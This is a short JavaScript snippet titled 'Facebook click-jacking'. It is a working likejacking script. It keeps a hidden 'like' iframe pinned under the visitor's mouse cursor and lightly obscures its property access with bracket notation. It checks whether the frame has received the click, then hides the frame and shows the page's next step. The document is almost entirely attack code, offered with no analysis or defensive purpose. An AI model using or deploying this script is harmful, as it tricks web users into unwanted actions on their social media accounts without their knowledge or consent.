Facebook click-jacking

function visualizza(paso){
    if(document["getElementById"])
    {
        if(document["getElementById"](paso)["style"]["display"] == "none")
        {
            document["getElementById"](paso)["style"]["display"]="block";
        } else {
            document["getElementById"](paso)["style"]["display"]="none";
        }
    }
}

var timeFrame;

$(function () {timeFrame=setInterval("lpcAutoLike();",1599)} );

function lpcAutoLike(){
    if($(document["activeElement"])["attr"]("id") == "lpcframe")
    {
        clearInterval(timeFrame);
        myBoolean=1;
        visualizza("passo2");
    }
}

var myHTMLBody= (document["compatMode"] == "CSS1Compat" ) ? document["documentElement"]:document["body"];

var lpcLikeFrame=document["getElementById"]("lpcLikeFrame");

var myBoolean=0;

function mouseFollower(event){
    if(window["event"]){
        lpcLikeFrame["style"]["top"] = (window["event"]["y"]-10) + myHTMLBody["scrollTop"]+"px";
        lpcLikeFrame["style"]["left"] = (window["event"]["x"]-10) + myHTMLBody["scrollLeft"]+"px";
    } else {
        lpcLikeFrame["style"]["top"] = (event["pageY"] - 10) + "px";
        lpcLikeFrame["style"]["left"] = (event["pageX"] - 10) + "px";
    }
}

document["onmousemove"] = function (event){
    if(myBoolean==0) {
        mouseFollower(event);
    } else {
        lpcLikeFrame["style"]["display"]="none";
    }
}